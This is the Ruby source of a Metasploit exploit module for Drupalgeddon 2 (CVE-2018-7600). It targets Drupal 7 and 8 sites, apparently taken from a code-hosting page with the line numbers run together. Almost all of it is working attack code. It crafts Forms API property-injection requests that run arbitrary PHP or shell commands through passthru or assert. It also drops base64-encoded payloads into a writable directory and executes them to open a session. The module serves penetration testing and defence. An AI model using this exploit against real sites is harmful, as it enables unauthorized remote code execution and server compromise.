Path: blob/master/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HTTP::Drupal10# XXX: CmdStager can't handle badchars11include Msf::Exploit::PhpEXE12include Msf::Exploit::FileDropper13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',20'Description' => %q{21This module exploits a Drupal property injection in the Forms API.2223Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.24},25'Author' => [26'Jasper Mattsson', # Vulnerability discovery27'a2u', # Proof of concept (Drupal 8.x)28'Nixawk', # Proof of concept (Drupal 8.x)29'FireFart', # Proof of concept (Drupal 7.x)30'wvu' # Metasploit module31],32'References' => [33['CVE', '2018-7600'],34['URL', 'https://www.drupal.org/sa-core-2018-002'],35['URL', 'https://greysec.net/showthread.php?tid=2912'],36['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],37['URL', 'https://github.com/a2u/CVE-2018-7600'],38['URL', 'https://github.com/nixawk/labs/issues/19'],39['URL', 'https://github.com/FireFart/CVE-2018-7600']40],41'DisclosureDate' => '2018-03-28',42'License' => MSF_LICENSE,43'Platform' => ['php', 'unix', 'linux'],44'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],45'Privileged' => false,46'Payload' => { 'BadChars' => '&>\'' },47'Targets' => [48#49# Automatic targets (PHP, cmd/unix, native)50#51[52'Automatic (PHP In-Memory)',53'Platform' => 'php',54'Arch' => ARCH_PHP,55'Type' => :php_memory56],57[58'Automatic (PHP Dropper)',59'Platform' => 'php',60'Arch' => ARCH_PHP,61'Type' => :php_dropper62],63[64'Automatic (Unix In-Memory)',65'Platform' => 'unix',66'Arch' => ARCH_CMD,67'Type' => :unix_memory68],69[70'Automatic (Linux Dropper)',71'Platform' => 'linux',72'Arch' => [ARCH_X86, ARCH_X64],73'Type' => :linux_dropper74],75#76# Drupal 7.x targets (PHP, cmd/unix, native)77#78[79'Drupal 7.x (PHP In-Memory)',80'Platform' => 'php',81'Arch' => ARCH_PHP,82'Version' => Rex::Version.new('7'),83'Type' => :php_memory84],85[86'Drupal 7.x (PHP Dropper)',87'Platform' => 'php',88'Arch' => ARCH_PHP,89'Version' => Rex::Version.new('7'),90'Type' => :php_dropper91],92[93'Drupal 7.x (Unix In-Memory)',94'Platform' => 'unix',95'Arch' => ARCH_CMD,96'Version' => Rex::Version.new('7'),97'Type' => :unix_memory98],99[100'Drupal 7.x (Linux Dropper)',101'Platform' => 'linux',102'Arch' => [ARCH_X86, ARCH_X64],103'Version' => Rex::Version.new('7'),104'Type' => :linux_dropper105],106#107# Drupal 8.x targets (PHP, cmd/unix, native)108#109[110'Drupal 8.x (PHP In-Memory)',111'Platform' => 'php',112'Arch' => ARCH_PHP,113'Version' => Rex::Version.new('8'),114'Type' => :php_memory115],116[117'Drupal 8.x (PHP Dropper)',118'Platform' => 'php',119'Arch' => ARCH_PHP,120'Version' => Rex::Version.new('8'),121'Type' => :php_dropper122],123[124'Drupal 8.x (Unix In-Memory)',125'Platform' => 'unix',126'Arch' => ARCH_CMD,127'Version' => Rex::Version.new('8'),128'Type' => :unix_memory129],130[131'Drupal 8.x (Linux Dropper)',132'Platform' => 'linux',133'Arch' => [ARCH_X86, ARCH_X64],134'Version' => Rex::Version.new('8'),135'Type' => :linux_dropper136]137],138'DefaultTarget' => 0, # Automatic (PHP In-Memory)139'DefaultOptions' => { 'WfsDelay' => 2 }, # Also seconds between attempts140'Notes' => {141'Stability' => [CRASH_SAFE],142'SideEffects' => [],143'Reliability' => [],144'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']145}146)147)148149register_options([150OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),151OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])152])153154register_advanced_options([155OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])156])157end158159def check160checkcode = CheckCode::Unknown161162@version = target['Version'] || drupal_version163164unless @version165vprint_error('Could not determine Drupal version to target')166return checkcode167end168169vprint_status("Drupal #{@version} targeted at #{full_uri}")170checkcode = CheckCode::Detected171172changelog = drupal_changelog(@version)173174unless changelog175vprint_error('Could not determine Drupal patch level')176return checkcode177end178179case drupal_patch(changelog, 'SA-CORE-2018-002')180when nil181vprint_warning('CHANGELOG.txt no longer contains patch level')182when true183vprint_warning('Drupal appears patched in CHANGELOG.txt')184checkcode = CheckCode::Safe185when false186vprint_good('Drupal appears unpatched in CHANGELOG.txt')187checkcode = CheckCode::Appears188end189190# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable191token = rand_str192res = execute_command(token, func: 'printf')193194return checkcode unless res195196if res.body.start_with?(token)197vprint_good('Drupal is vulnerable to code execution')198checkcode = CheckCode::Vulnerable199end200201checkcode202end203204def exploit205unless @version206print_warning('Targeting Drupal 7.x as a fallback')207@version = Rex::Version.new('7')208end209210if datastore['PAYLOAD'] == 'cmd/unix/generic'211print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')212# XXX: Naughty datastore modification213datastore['DUMP_OUTPUT'] = true214end215216# NOTE: assert() is attempted first, then PHP_FUNC if that fails217case target['Type']218when :php_memory219execute_command(payload.encoded, func: 'assert')220221sleep(wfs_delay)222return if session_created?223224# XXX: This will spawn a *very* obvious process225execute_command("php -r '#{payload.encoded}'")226when :unix_memory227execute_command(payload.encoded)228when :php_dropper, :linux_dropper229dropper_assert230231sleep(wfs_delay)232return if session_created?233234dropper_exec235end236end237238def dropper_assert239php_file = Pathname.new(240"#{datastore['WritableDir']}/#{rand_str}.php"241).cleanpath242243# Return the PHP payload or a PHP binary dropper244dropper = get_write_exec_payload(245writable_path: datastore['WritableDir'],246unlink_self: true # Worth a shot247)248249# Encode away potential badchars with Base64250dropper = Rex::Text.encode_base64(dropper)251252# Stage 1 decodes the PHP and writes it to disk253stage1 = %Q{254file_put_contents("#{php_file}", base64_decode("#{dropper}"));255}256257# Stage 2 executes said PHP in-process258stage2 = %Q{259include_once("#{php_file}");260}261262# :unlink_self may not work, so let's make sure263register_file_for_cleanup(php_file)264265# Hopefully pop our shell with assert()266execute_command(stage1.strip, func: 'assert')267execute_command(stage2.strip, func: 'assert')268end269270def dropper_exec271php_file = "#{rand_str}.php"272tmp_file = Pathname.new(273"#{datastore['WritableDir']}/#{php_file}"274).cleanpath275276# Return the PHP payload or a PHP binary dropper277dropper = get_write_exec_payload(278writable_path: datastore['WritableDir'],279unlink_self: true # Worth a shot280)281282# Encode away potential badchars with Base64283dropper = Rex::Text.encode_base64(dropper)284285# :unlink_self may not work, so let's make sure286register_file_for_cleanup(php_file)287288# Write the payload or dropper to disk (!)289# NOTE: Analysis indicates > is a badchar for 8.x290execute_command("echo #{dropper} | base64 -d | tee #{php_file}")291292# Attempt in-process execution of our PHP script293send_request_cgi(294'method' => 'GET',295'uri' => normalize_uri(target_uri.path, php_file)296)297298sleep(wfs_delay)299return if session_created?300301# Try to get a shell with PHP CLI302execute_command("php #{php_file}")303304sleep(wfs_delay)305return if session_created?306307register_file_for_cleanup(tmp_file)308309# Fall back on our temp file310execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")311execute_command("php #{tmp_file}")312end313314def execute_command(cmd, opts = {})315func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'316317vprint_status("Executing with #{func}(): #{cmd}")318319res =320case @version.to_s321when /^7\b/322exploit_drupal7(func, cmd)323when /^8\b/324exploit_drupal8(func, cmd)325end326327return unless res328329if res.code == 200330print_line(res.body) if datastore['DUMP_OUTPUT']331else332print_error("Unexpected reply: #{res.inspect}")333end334335res336end337338def exploit_drupal7(func, code)339vars_get = {340'q' => 'user/password',341'name[#post_render][]' => func,342'name[#markup]' => code,343'name[#type]' => 'markup'344}345346vars_post = {347'form_id' => 'user_pass',348'_triggering_element_name' => 'name'349}350351res = send_request_cgi(352'method' => 'POST',353'uri' => normalize_uri(target_uri.path),354'vars_get' => vars_get,355'vars_post' => vars_post356)357358return res unless res && res.code == 200359360form_build_id = res.get_html_document.at(361'//input[@name = "form_build_id"]/@value'362)363364return res unless form_build_id365366vars_get = {367'q' => "file/ajax/name/#value/#{form_build_id.value}"368}369370vars_post = {371'form_build_id' => form_build_id.value372}373374send_request_cgi(375'method' => 'POST',376'uri' => normalize_uri(target_uri.path),377'vars_get' => vars_get,378'vars_post' => vars_post379)380end381382def exploit_drupal8(func, code)383# Clean URLs are enabled by default and "can't" be disabled384uri = normalize_uri(target_uri.path, 'user/register')385386vars_get = {387'element_parents' => 'account/mail/#value',388'ajax_form' => 1,389'_wrapper_format' => 'drupal_ajax'390}391392vars_post = {393'form_id' => 'user_register_form',394'_drupal_ajax' => 1,395'mail[#type]' => 'markup',396'mail[#post_render][]' => func,397'mail[#markup]' => code398}399400send_request_cgi(401'method' => 'POST',402'uri' => uri,403'vars_get' => vars_get,404'vars_post' => vars_post405)406end407408def rand_str409Rex::Text.rand_text_alphanumeric(8..42)410end411412end413414415